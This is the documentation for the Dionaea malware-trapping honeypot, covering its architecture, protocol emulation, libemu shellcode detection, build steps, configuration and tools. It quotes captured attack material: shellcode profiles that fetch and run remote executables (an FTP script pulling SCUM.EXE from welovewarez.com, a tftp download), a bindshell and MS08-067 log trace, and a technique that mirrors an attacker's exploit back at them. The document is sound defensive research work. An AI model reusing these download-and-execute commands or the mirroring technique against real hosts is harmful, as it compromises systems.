Dionaea is meant to be a nepenthes successor, embedding python as scripting language, using libemu to detect shellcodes, supporting ipv6 and tls

How it works

dionaea intention is to trap malware exploiting vulnerabilities exposed by services offerd to a network, the ultimate goal is gaining a copy of the malware.


As Software is likely to have bugs, bugs in software offering network services can be exploitable, and dionaea is software offering network services, it is likely dionaea has exploitable bugs.
Of course we try to avoid it, but if nobody would fail when trying hard, we would not need software such as dionaea.
So, in order to minimize the impact, dionaea can drop privileges, and chroot.
To be able to run certain actions which require privileges, after dionaea dropped them, dionaea creates a child process at startup, and asks the child process to run actions which require elevated privileges. This does not guarantee anything, but it should be harder to get gain root access to the system from an unprivileged user in a chroot environment.

Network Connectivity

Given the softwares intented use, network io is crucial. All network io is within the main process in a so called non-blocking manner. To understand nonblocking, imagine you have many pipes infront of you, and these pipes can send you something, and you can put something into the pipe. If you want to put something into a pipe, while it is crowded, you'd have to wait, if you want to get something from a pipe, and there is nothing, you'd have to wait too. Doing this pipe game non-blocking means you won't wait for the pipes to be write/readable, you'll get something off the pipes once data arrives, and write once the pipe is not crowded. If you want to write a large chunk to the pipe, and the pipe is crowded after a small piece, you note the rest of the chunk you wanted to write, and wait for the pipe to get ready.
DNS resolves are done using libudns, which is a neat non-blocking dns resolving library with support for AAAA records and chained cnames.
So much about non-blocking.
dionaea uses libev to get notified once it can act on a socket, read or write.
dionaea can offer services via tcp/udp and tls for IPv4 and IPv6, and can apply rate limiting and accounting limits per connections to tcp and tls connections - if required.


Network services speak a certain language, this language is called protocol.
When we started deploying honeypots, you could trap worms just by opening a single port, and wait for them to connect and send you an url where you could download a copy of the worm. The service getting attacked was the backdoor of the bagle mailworm, and it did not require and interaction.
Later on, the exploitations of real services got more complex, and you had to reply something to the worm to fool him.
Nowadays worms use API to access services, before sending their payload. To allow easy adjustments to the procotol, dionaea implements the protocols in python. There is a glue between the network layer which is done in the c programming language and the embedded python scripting language, which allows using the non-blocking connections in python. This has some benefits, for example we can use non-blocking tls connections in python, and we even get rate limiting on them (if required), where pythons own io does not offer such things. On the other hand, it is much more comfortable to implement protocols in python than doing the same in c.


The main protocol offerd by dionaea is SMB. SMB has a decent history of remote exploitable bugs, and is a very popular target for worms. dionaeas SMB implementation makes use of an python3 adapted version of scapy. As scapys own version of SMB was pretty limited, almost everything but the Field declarations had to be rewritten. The SMB emulation written for dionaea is used by the mwcollectd low interaction honeypot too.
Besides the known attacks on SMB dionaea supports uploading files to smb shares.
Adding new DCE remote procedure calls is a good start to get into dionaea code, you can use:
        JOIN dcerpcservices ON(dcerpcrequests.dcerpcrequest_uuid == dcerpcservices.dcerpcservice_uuid) 
        LEFT OUTER JOIN dcerpcserviceops ON(dcerpcserviceops.dcerpcserviceop_opnum = dcerpcrequest_opnum AND dcerpcservices.dcerpcservice = dcerpcserviceops.dcerpcservice )  
        dcerpcserviceop_name IS NULL
GROUP BY        
        COUNT(*) DESC;

to identify potential usefull targets of unknown dcerpc calls using the data you gathered and stored in your logsql database. Patches are appreciated.


Dionaea supports http on port 80 as well as https, but there is no code making use of the data gathered on these ports.
For https, the self-signed ssl certificate is created at startup.


Dionaea provives a basic ftp server on port 21, it can create directories and upload and download files. From my own experience there are very little automated attacks on ftp services and I'm yet to see something interesting happening on port 21.


Written to test the udp connection code, dionaea provides a tftp server on port 69, which can serve files. Even though there were vulnerabilities in tftp services, I'm yet to see an automated attack on tftp services.


This module implements the Tabular Data Stream protocol which is used by Microsoft SQL Server. It listens to tcp/1433 and allows clients to login. It can decode queries run on the database, but as there is no database, dionaea can't reply, and there is no further action. Typically we always get the same query:

exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1 where 'a'='A' select 504,c.name,c.description,c.definition from master.dbo.syscharsets c,master.dbo.syscharsets c1,master.dbo.sysconfigures f where f.config=123 and f.value=c1.id and c1.csid=c.id set textsize 2147483647 set arithabort on

Refer to the blog for more information.
Patches would be appreciated.


This module implements the MySQL wire stream protocol - backed up by sqlite as database. Please refer to 2011-05-15 Extending Dionaea for more information.


This is a VoIP module for the honeypot dionaea. The VoIP protocol used is SIP since it is the de facto standard for VoIP today. In contrast to some other VoIP honeypots, this module doesn't connect to an external VoIP registrar/server. It simply waits for incoming SIP messages (e.g. OPTIONS or even INVITE), logs all data as honeypot incidents and/or binary data dumps (RTP traffic), and reacts accordingly, for instance by creating a SIP session including an RTP audio channel. As sophisticated exploits within the SIP payload are not very common yet, the honeypot module doesn't pass any code to dionaea's code emulation engine. This will be implemented if we spot such malicious messages. The main features of the VoIP module are:
A personality defines how to handle a request. At least the 'default' personality MUST exist. The following options are available per personality.
A list of IP addresses to use this personality for.
List of SIP methods to handle.
SIP Users
You can easily add, change or remove users by editing the SQLite file specified by the 'users = ""' parameter in the config file. All users are specified in the users table.
Specifies the name of the user. This value is treated as regular expression. See Python: Regular Expressions for more information.
The password.
The user is only available in the personality specified by this value. You can define a personality in the config file.
This is an integer value. Let the phone ring for at least this number of seconds.
This is an integer value. Maximum number of seconds to wait before dionaea picks up the phone.
This value isn't in use, yet.
The name of the SDP to use. See table 'sdp'.
All SDPs can be defined in the sdp table in the users database.
Name of the SDP
The value to use as SDP
The following values are available in the SDP definition.
Address type. (IP4 or IP6)
RTP address
Dionaea audio port.
Dionaea video port.
The following control parameters are available in the SDP definition.
The content is only available in the output if the audio_port value is set.
The content is only available in the output if the video_port value is set.
o=- 1304279835 1 IN {addrtype} {unicast_address}
s=SIP Session
c=IN {addrtype} {unicast_address}
t=0 0
m=audio {audio_port} RTP/AVP 111 0 8 9 101 120
a=rtpmap:111 Speex/16000/1
a=fmtp:111 sr=16000,mode=any
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:9 G722/8000/1
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16,32,36
a=rtpmap:120 NSE/8000
a=fmtp:120 192-193
m=video {video_port} RTP/AVP 34 96 97
c=IN {addrtype} {unicast_address}
a=rtpmap:34 H263/90000
a=fmtp:34 QCIF=2
a=rtpmap:96 H263-1998/90000
a=fmtp:96 QCIF=2
a=rtpmap:97 H263-N800/90000


Attackers do not seek your service, attackers want to exploit you, they'll chat with the service for some packets, and afterwards sent a payload. dionaea has to detect and evaluate the payload to be able to gain a copy of the malware. In order to do so, dionaea uses libemu.
Given certain circumstances, libemu can detect shellcode, measure the shellcode, and if required even execute the shellcode. Shellcode detection is done by making use of GetPC heuristics, others wrote papers about it, we decided to write libemu to do so. This detection is rather time consuming, and therefore done using threads.
The part of dionaea which takes care of the network io can create a copy of all in/output run for a connection, this copy is passed to the detection facility, which is a tree of detection facilities, at this moment there is only a single leaf, the emu plugin. The emu plugin uses threads and libemu to detect and profile/measure shellcode.
Shellcode measurement/profiling is done by running the shellcode in the libemu vm and recording API calls and arguments. For most shellcode profiling is sufficient, the recorded API calls and arguments reveal enough information to get an idea of the attackers intention and act upon them. For multi-stage shellcode, where the first exploitation stage of the shellcode would retrieve a second shellcode from the attacker, profiling is not sufficient, as we lack the information 'what to do' from the second stage of the shellcode, in this case we need to make use of shellcode execution. Shellcode execution is basically the same as shellcode profiling, the only difference is not recording the api calls, and we allow the shellcode to take certain actions, for example creating a network connection.


Once we have the payload, and the profile, dionaea has to guess the intention, and act upon it
Shells - bind/connectback
This payload offers a shell (cmd.exe prompt) to the attacker, either by binding a port and waiting for the attacker to connect to us again, or by connection to the attacker. In both cases, dionaea offers an cmd.exe emulation to the attacker, parses the input, and acts upon the input, usually the instructions download a file via ftp or tftp.
These shellcodes use the URLDownloadToFile api call to retrieve a file via http, and execute the retrieved file afterwards
Making use of WinExec, these shellcode execute a single command which has to be parsed and processed like the bind/connectback shell shellcommands.
Multi Stage Payloads
We never know what the second stage is, therefore libemu is used to execute the shellcode in the libemu vm.


Once dionaea gained the location of the file the attacker wants it to downloads from the shellcode, dionaea will try to download the file. The protocol to downloads files via tftp and ftp is implemented in python (ftp.py and tftp.py) as part of dionaea, downloading files via http is done in the curl module - which makes use of libcurl's awsome http capabilities. Of course libcurl can run downloads for ftp too, but the ftp services embedded in malware a designed to work with windows ftp.exe client, and fail for others.


Once dionaea got a copy of the worm attacking her, we may want to store the file locally for further analysis, or submit the file to some 3rd party for further analysis.
dionaea can http/POST the file to several services like CWSandbox, Norman Sandbox or VirusTotal.


Getting a copy of the malware is cool, getting an overview of the attacks run on your sensor is priceless.
dionaea can write information to a text file, but be aware, dionaeas logging to text files is rather chatty, really chatty, and you do not want to look at the information, if you are not debugging the software or writing some new feature for it.
Of course, you can appy filters to the logging, to limit it to different facilities or levels, but in general you do not want to work with text files.
dionaea uses some internal communication system which is called incidents. An incident has an origin, which is a string, a path, and properties, which can be integers, strings, or a pointer to a connection. Incidents limit to the max, they pass the information required to incident handlers (ihandler). An ihandler can register a path for incidents he wants to get informed about, the pathes are matched in a glob like fashion. Therefore logging information using an ihandler is superior to text logging, you get the information you are looking for, and can write it to a format you choose yourself. This is what the logsql python script does, it is an ihandler, and writes interesting incidents to a sqlite database, one of the benefits of this logging is the ability to cluster incidents based on the initial attack when retrieving the data from the database:
connection 610 smbd tcp accept <-
 dcerpc request: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' opnum 9
 p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0'
 profile: [{'return': '0x7c802367', 'args': ['', 'CreateProcessA'], 'call': 'GetProcAddress'}, 
            ...., {'return': '0', 'args': ['0'], 'call': 'ExitThread'}]
 service: bindshell://1957
 connection 611 remoteshell tcp listen
   connection 612 remoteshell tcp accept <-
     p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0'
     offer: fxp://1:1@
     download: 1d419d615dbe5a238bbaa569b3829a23 fxp://1:1@
     connection 613 ftpctrl tcp connect ->
       connection 614 ftpdata tcp listen
         connection 615 ftpdata tcp accept <-
           p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0' fw:'0'
Additionally, you can query the database for many different things, refer to: for more examples how to make use of the database.

Additional to local logging, dionaea can send a contionous stream of its attacks to a xmpp server, which allows creating a distributed setup of sensors with high detail of information for each attack.
Refer to logxmpp and pg_backend for more information about distributed setups using xmpp.


dionaea initial development was funded by the Honeynet Project as part of the Honeynets Summer of Code during 2009. The development process is as open as possible; you can browse the source online and subscribe to RSS updates and submit bugs or patches.

Compiling & Installation



Some packages are provided by the apt-tree, so you don't have to install everything from source
aptitude install libudns-dev libglib2.0-dev libssl-dev libcurl4-openssl-dev \
libreadline-dev libsqlite3-dev python-dev \
libtool automake autoconf build-essential \
subversion git-core \
flex bison \

tar xfz ...

The remaining dependencies have to be installed from source, we will install all dependencies to /opt/dionaea here, so make sure the directory exists, and you are allowed to write it.

libglib (debian <= etch)

If your lack a recent glib, better update your operating system.

liblcfg (all)

git clone git://git.carnivore.it/liblcfg.git liblcfg
cd liblcfg/code
autoreconf -vi
./configure --prefix=/opt/dionaea
make install
cd ..
cd ..

libemu (all)

git clone git://git.carnivore.it/libemu.git libemu
cd libemu
autoreconf -vi
./configure --prefix=/opt/dionaea
make install
cd ..

libnl (linux && optional)

In case you use Ubuntu, libnl3 may be available in apt,
apt-get install libnl-3-dev libnl-genl-3-dev libnl-nf-3-dev libnl-route-3-dev
else install it from git.
git clone git://git.infradead.org/users/tgr/libnl.git
cd libnl
autoreconf -vi
export LDFLAGS=-Wl,-rpath,/opt/dionaea/lib
./configure --prefix=/opt/dionaea
make install
cd ..

libev (all)

wget http://dist.schmorp.de/libev/Attic/libev-4.04.tar.gz
tar xfz libev-4.04.tar.gz
cd libev-4.04
./configure --prefix=/opt/dionaea
make install
cd ..

Python 3.2

Before installing Python, we will install required dependencies
Should be available for every distribution.
sqlite > 3.3
Should be available for every distribution. If your distributions sqlite version is < 3.3 and does not support triggers, you are doomed, please let me know, I'll write about how broken pythons build scripts are, and document how to to compile it with a user- provided - more recent - sqlite version.
wget http://www.python.org/ftp/python/3.2.2/Python-3.2.2.tgz
tar xfz Python-3.2.2.tgz
cd Python-3.2.2/
./configure --enable-shared --prefix=/opt/dionaea --with-computed-gotos \
      --enable-ipv6 LDFLAGS="-Wl,-rpath=/opt/dionaea/lib/ -L/usr/lib/x86_64-linux-gnu/"

make install

Cython (all)

We have to use cython >= 0.15 as previous releases do not support Python3.2 __hash__'s Py_Hash_type for x86.
wget http://cython.org/release/Cython-0.15.tar.gz
tar xfz Cython-0.15.tar.gz
cd Cython-0.15
/opt/dionaea/bin/python3 setup.py install
cd ..

udns (!ubuntu)

udns does not use autotools to build.
wget http://www.corpit.ru/mjt/udns/old/udns_0.0.9.tar.gz
tar xfz udns_0.0.9.tar.gz
cd udns-0.0.9/
make shared
There is no make install, so we copy the header to our include directory.
 cp udns.h /opt/dionaea/include/
and the lib to our library directory.
 cp *.so* /opt/dionaea/lib/
cd /opt/dionaea/lib
ln -s libudns.so.0 libudns.so
cd -
cd ..

libcurl (all)

Grabbing curl from your distributions maintainer should work, if you run a decent distribution. If not consider upgrading your operating system.

libpcap (most)

To honor the effort, we rely on libpcap 1.1.1. Most distros ship older versions, therefore it is likely you have to install it from source.
wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
tar xfz libpcap-1.1.1.tar.gz
cd libpcap-1.1.1
./configure --prefix=/opt/dionaea
make install
cd ..

OpenSSL (optional)

WARNING: doing this, requires *all* dependencies to be compiled using the same ssl version, so you have to link curl and python to your own openssl build too
If you experience problems with tls connections, install your OpenSSL >= 0.9.8l/1.0.0-beta2, or fall back to cvs for now.
cvs -d anonymous@cvs.openssl.org:/openssl-cvs co openssl
cd openssl
./Configure shared --prefix=/opt/dionaea linux-x86_64
make SHARED_LDFLAGS=-Wl,-rpath,/opt/dionaea/lib   
make install

Compiling dionaea

git clone git://git.carnivore.it/dionaea.git dionaea
then ..
cd dionaea
autoreconf -vi
./configure --with-lcfg-include=/opt/dionaea/include/ \
      --with-lcfg-lib=/opt/dionaea/lib/ \
      --with-python=/opt/dionaea/bin/python3.2 \
      --with-cython-dir=/opt/dionaea/bin \
      --with-udns-include=/opt/dionaea/include/ \
      --with-udns-lib=/opt/dionaea/lib/ \
      --with-emu-include=/opt/dionaea/include/ \
      --with-emu-lib=/opt/dionaea/lib/ \
      --with-gc-include=/usr/include/gc \
      --with-ev-include=/opt/dionaea/include \
      --with-ev-lib=/opt/dionaea/lib \
      --with-nl-include=/opt/dionaea/include \
      --with-nl-lib=/opt/dionaea/lib/ \
      --with-curl-config=/usr/bin/ \
      --with-pcap-include=/opt/dionaea/include \
make install

Update dionaea

Most updates boil down to a
git pull;
make clean install
But, you always want to make sure your config file is up to date, you can use
/opt/dionaea/etc/dionaea# diff dionaea.conf dionaea.conf.dist


The packages below are 3rd party provided, which is appreciated. If you have compiled a package for your own distribution, just send me the link.

Running dionaea

The software has some flags you can provide at startup, the -h flags shows the help, the -H includes the default values.
  -c, --config=FILE               use FILE as configuration file
                                    Default value/behaviour: /opt/dionaea/etc/dionaea.conf
  -D, --daemonize                 run as daemon
  -g, --group=GROUP               switch to GROUP after startup (use with -u)
                                    Default value/behaviour: keep current group
  -G, --garbage=[collect|debug]   garbage collect,  usefull to debug memory leaks, 
                                  does NOT work with valgrind
  -h, --help                      display help
  -H, --large-help                display help with default values
  -l, --log-levels=WHAT           which levels to log, valid values 
                                  all, debug, info, message, warning, critical, error
                                  combine using ',', exclude with - prefix
  -L, --log-domains=WHAT          which domains use * and ? wildcards, combine using ',', 
                                  exclude using -
  -u, --user=USER                 switch to USER after startup
                                    Default value/behaviour: keep current user
  -p, --pid-file=FILE             write pid to file
  -r, --chroot=DIR                chroot to DIR after startup
                                    Default value/behaviour: don't chroot
  -V, --version                   show version
  -w, --workingdir=DIR            set the process' working dir to DIR
                                    Default value/behaviour: /opt/dionaea

# dionaea -l all,-debug -L '*'
# dionaea -l all,-debug -L 'con*,py*'
# dionaea -u nobody -g nogroup -r /opt/dionaea/ -w /opt/dionaea -p /opt/dionaea/var/dionaea.pid

Configuration - dionaea.conf

If you want to change the software, it is really important to understand how it works, therefore please take the time to how it works.
dionaea.conf is the main configuration file, the file controls consists of sections for:


The logging section controls ... logging, you can specify log domains and loglevel for different logfiles.
As dionaea is pretty ... verbose, it is useful to rotate the logfiles using logrotate.
# logrotate requires dionaea to be started with a pidfile
# in this case -p /opt/dionaea/var/run/dionaea.pid
# adjust the path to your needs
/opt/dionaea/var/log/dionaea*.log {
        rotate 28
        create 660 root root
                kill -HUP `cat /opt/dionaea/var/run/dionaea.pid`
processors control the actions done on the bi-directional streams we gain when getting attacked, the default is running the emu processor on them to detect shellcode.
downloads specify where to store downloaded malware.
bistreams specify where to store bi-directional streams, these are pretty useful when debugging, as they allow to replay an attack on ip-level, without messing with pcap&tcpreplay, which never worked for me.
submit specifies where to send files to via http or ftp, you can define a new section within submit if you want to add your own service.
listen sets the addresses dionaea will listen to. The default is all addresses it can find, this mode is call getifaddrs, but you can set it to manual and specify a single address if you want to limit it.
modules is the most powerfull section, as it specifies the modules to load, and the options for each module.
The subsections name is the name of the module dionaea will try to load, most modules got rather simplistic names, the pcap module will use libpcap, the curl module libcurl, the emu module libemu ...
The python module is special, as the python module can load python scripts, which offer services, and each services can have its own options.



The pcap module uses the libpcap library to detect rejected connection attempts, so even if we do not accept a connection, we can use the information somebody wanted to connect there.


The curl module is used to transfer files from and to servers, it is used to download files via http as well as submitting files to 3rd parties


The emu module is used to detect, profile and - if required - execute shellcode.


The python module allows using the python interpreter in dionaea, and allows controlling some scripts dionaea uses
This section controls the logging to the sqlite database.
logsql does not work when chrooting - python makes the path absolute and fails for requests after chroot().

logsql requires the directory where the logsql.sqlite file resides to be writeable by the user, as well as the logsql.sqlite file itself.
So, if you drop user privs, make sure the user you drop to is allowed to read/write the file and the directory.
chown MYUSER:MYGROUP /opt/dionaea/var/dionaea -R

To query the logsql database, I recommend looking at the readlogsqltree.py script, for visualisation the gnuplotsql script.

The blog on logsql:
This section controls the logging to xmpp services. If you want to use logxmpp, make sure to enable logxmpp in the ihandler section.
Using logxmpp allows you to share your new collected files with other sensors anonymously.

The blog on logxmpp: pg_backend can be used as a backend for xmpp logging sensors.
Not enabled by default, but recommend: the p0f service, enable by uncommenting p0f in the ihandlers section of the python modules section, and start p0f as suggested in the config. It costs nothing, and gives some pretty cool, even if outdated, informations about the attackers operating system, and you can look them up from the sqlite database, even the rejected connections.
If you face problems, here are some hints.

The python nfq script is the counterpart to the nfq module. While the nfq module interacts with the kernel, the nfq python script takes care of the required steps to start a new service on the ports.
nfq can intercept incoming tcp connections during the tcp handshake giving your honeypot the possibility to provide service on ports which are not served by default.

As dionaea can not predict which protocol will be spoken on unknown ports, neither implement the protocol by itself, it will connect the attacking host on the same port, and use the attackers server side protocol implementation to reply to the client requests of the attacker therefore dionaea can end up re?exploiting the attackers machine, just by sending him the exploit he sent us.

The technique is a brainchild of Tillmann Werner, who used it within his honeytrap honeypot.
Legal boundaries to such behaviour may be different in each country, as well as ethical boundaries for each individual. From a technical point of view it works, and gives good results.
Learning from the best, I decided to adopt this technique for dionaea.
Besides the legal and ethical issues with this approach, there are some technical things which have to be mentioned So much about the known problems and workarounds ...
If you read that far, you want to use it despite the technical/legal/ethical problems.
So ... You'll need iptables, and you'll have to tell iptables to enqueue packets which would establish a new connection.
I recommend something like this:
iptables -t mangle -A PREROUTING -i eth0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i eth0 -p tcp --syn -m state --state NEW -j NFQUEUE --queue-num 5
  1. ACCEPT all connections to existing services
  2. enqueue all other packets to the NFQUEUE

If you have dionaea running on your NAT router, I recommend something like:
iptables -t mangle -A PREROUTING -i ppp0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i ppp0 -p tcp --syn -m state --state NEW -j MARK --set-mark 0x1
iptables -A INPUT -i ppp0 -m mark --mark 0x1 -j NFQUEUE
  1. ACCEPT all connections to existing services in mangle::PREROUTING
  2. MARK all other packets
  3. if we see these marked packets on INPUT, queue them

Using something like:

iptables -A INPUT -p tcp --tcp-flags SYN,RST,ACK,FIN SYN -j NFQUEUE --queue-num 5

will enqueue all SYN packets to the NFQUEUE, once you stop dionaea you will not even be able to connect to your ssh daemon.

Even if you add an exemption for ssh like:

iptables -A INPUT -i eth0 -p tcp --syn -m state --state NEW --destination-port ! 22 -j NFQUEUE

dionaea will try to create a new service for every incoming connection, even if there is a service running already.
As it is easy to avoid this, I recommend sticking with the recommendation.
Besides the already mention throttle settings, there are various timeouts for the nfq mirror service in the config.
You can control how long the service will wait for new connections (timeouts.server.listen), and how long the mirror connection will be idle (timeouts.client.idle) and sustain (timeouts.client.sustain).

ihandlers section is used to specify which ihandlers get started by ihandlers.py . You do not want to miss p0f and logsql.
services controls which services will get started by services.py


Dionaea ships with some utils, as these utils are written in python and rely on the python3 interpreter dionaea requires to operate, this software can be found in modules/python/utils.
readlogsqltree - modules/python/readlogsqltree.py
readlogsqltree is a python3 script which queries the logsql sqlite database for attacks, and prints out all related information for every attack.
This is an example for an attack, you get the vulnerability exploited, the time, the attacker, information about the shellcode, the file offered for download, and even the virustotal report for the file.
2010-10-07 20:37:27
  connection 483256 smbd tcp accept <- (483256 None)
   dcerpc bind: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '7d705026-884d-af82-7b3d-961deaeb179a' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '7f4fdfe9-2be7-4d6b-a5d4-aa3c831503a1' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '8b52c8fd-cc85-3a74-8b15-29e030cdac16' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '9acbde5b-25e1-7283-1f10-a3a292e73676' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '9f7e2197-9e40-bec9-d7eb-a4b0f137fe95' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'a71e0ebe-6154-e021-9104-5ae423e682d0' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'b3332384-081f-0e95-2c4a-302cc3080783' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'c0cdf474-2d09-f37f-beb8-73350c065268' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'd89a50ad-b919-f35c-1c99-4153ad1e6075' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'ea256ce5-8ae1-c21b-4a17-568829eec306' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc request: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) opnum 31 (NetPathCanonicalize (MS08-67))
   profile: [{'return': '0x7df20000', 'args': ['urlmon'], 'call': 'LoadLibraryA'}, {'return': '0', 'args': ['', '', '60.exe', '0', '0'], 'call': 'URLDownloadToFile'}, {'return': '32', 'args': ['60.exe', '895'], 'call': 'WinExec'}, {'return': '0', 'args': ['-1'], 'call': 'Sleep'}]
   download: 3eab379ddac7d80d3e38399fd273ddd4
     virustotal 2010-10-07 04:59:07 5/38 (13%) http://www.virustotal.com/file-scan/report.html?id=265e39edcba9d9004451601544e625f2d3d04f837d0aaf1f8464cb2c819c1939-1286420347
       names 'High Risk Fraudulent Security Program' 'Suspicious file' 'Trojan.DownLoader1.27100' 'Worm.Win32.Rimecud' 'Worm:Win32/Rimecud.B' 

To create such report for your own honeypots activities for the last 24 hours run:

./readlogsqltree.py  -t $(date '+%s')-24*3600 /opt/dionaea/var/dionaea/logsql.sqlite

gnuplotsql - modules/python/gnuplotsql.py
gnuplotsql is a very slow python3 script which runs some queries on the logsql sqlite database and creates graphs with gnuplot of the data, stores them on disk and creates an index of the data. The images are per protocol and look like this: Overview for dionaea smbd.
Here is how the whole thing looks like.
To create such images of your own data, run:

./gnuplotsql.py -d /opt/dionaea/var/dionaea/logsql.sqlite -p smbd -p epmapper -p mssqld -p httpd -p ftpd

The blog got something on gnuplotsql as well:
pg_backend - modules/python/xmpp/pg_backend.py
pg_backend is the backend for logxmpp, currently it is a python2.x script which uses pyxmpp to access the xmpp service. It parses the messages received and can store the events in a postgres database and the received files on disk. pg_backend requires an xmpp account.
without db

./pg_backend.py -U USER@sensors.carnivore.it -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C anon-events -f /tmp/

with db create database
psql ...
start backend

./pg_backend.py -U USER@sensors.carnivore.it -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C anon-events -s DBHOST -u DBUSER -d xmpp -p DBPASS -f /tmp/


I get gcc: command not found?
install gcc..
How to uninstall it?
rm -rf /opt/dionaea
I get binding.pyx:...: undeclared name not builtin: bytes during the python modules build
Install a recent cython version
I get Python.h not found during compiling cython
Install appropriate headers for your python interpreter
I get OperationalError at unable to open database file when using logsqlite and it does not work at all
Read the logsql instructions
I get a Segmentation Fault
Read the segfault instructions
I logrotate, and after logrotate dionaea does not log anymore.
Read the logrotate instructions
I do not use ubuntu/debian and the instructions are useless for me therefore.
I use debian/ubuntu, and therefore I can only provide instructions for debian/ubuntu, but you are free to send me a diff for your operating system
p0f does not work.
Make sure your have p0f 2.0.8 and dionaea does not listen on ::, p0f can't deal with IPv6.
I'm facing a bug, it fails, and I can't figure out why .
Explain the problem, if I'm interested in the nature of the problem, as it does not sound like pebcak, I may ask for a shell/screen and have a look myself, and if it is worth it, you'll even get a FAQ entry for some specialties of your OS.
I use Redhat/Centos 5 and the installation is frustrating and a mess as nothing works.
Thats right, but I did not choose your operating system.
Here is a list of outdated or missing packages for your choosen distribution: all. Yes, you'll even have to install glib (you'll have 2.10 where 2.20 is required) from source.
Getting python3 compiled with a recent sqlite3 version installed to /opt/dionaea requires editing the setup.py file (patch).
I experienced this wonderful operating system myself ... You really have to love your distro to stick with it, even if it ships software versions your grandma saw released in her youth.
Centos is the best distro ... to change distros.
No matter what you choose, it can't get worse.

Tips and Tricks

dionaea embedds a python interpreter, and can offer a python cli therefore too.
The python cli is blocking, if you start entering a command, the whole process will wait for you to finish it, and not accept any new connections.
You can use the python cli to interact with dionaea, which is very useful for development and debugging.


You can access the dionaea.conf via python (readonly)
from dionaea import g_dionaea

Completition and History on the CLI

If you use the cli often, you can make it behave like a real shell, including history and completition.
import rlcompleter, readline
readline.parse_and_bind('tab: complete')

Triggering Downloads

Sometimes it helps to trigger a download, without waiting for an attack. Very useful if you want to verify permissions are correct when switching the user, or making sure a submission to a 3rd party works correctly.
You can trigger downloads for all major protocols.


from dionaea.ftp import ftp
f = ftp()
f.download(None, 'anonymous','guest','ftp.kernel.org',21, 'welcome.msg', 'binary','ftp://ftp.kernel.org/welcome.msg')


from dionaea.tftp import TftpClient
t = TftpClient()
t.download(None, 'tftp.example.com', 69, 'filename')


As the http download is not done in python, we do not use the download facility directly, but create an incident, which will trigger the download
from dionaea.core import incident
i = incident("dionaea.download.offer")
i.set("url", "http://www.honeynet.org")


incidents are the ipc used in dionaea.


from dionaea.core import ihandler
class idumper(ihandler):
        def __init__(self, pattern):
                ihandler.__init__(self, pattern)
        def handle(self, icd):

a = idumper('*')

emu profile

Small collection of various shellcode profiles gatherd from dionaea.
CreateProcess Commands
This profile will trigger a download via tftp.
p='[{"call": "CreateProcess", "args": ["", "tftp.exe -i get ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0", "lpReserved": "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize": "0", "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "CreateProcess", "args": ["", "ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0", "lpReserved": "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize": "0", "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "ExitThread", "args": ["0"], "return": "0"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))
This profile will trigger a download.
p='[{"call": "LoadLibraryA", "args": ["urlmon"], "return": "0x7df20000"}, {"call": "URLDownloadToFile", "args": ["", "", "47.scr", "0", "0"], "return": "0"}, {"call": "WinExec", "args": ["47.scr", "895"], "return": "32"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))
WinExec Commands
This profile uses WinExec to create a command file for windows ftp client, downloads a file, and executes the file.
p='[{"call": "WinExec", "args": ["cmd /c echo open welovewarez.com 21 > i&echo user wat l0l1 >> i &echo get SCUM.EXE >> i &echo quit >> i &ftp -n -s:i &SCUM.EXE\\r\\n", "0"], "return": "32"}, {"call": "ExitThread", "args": ["0"], "return": "0"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))


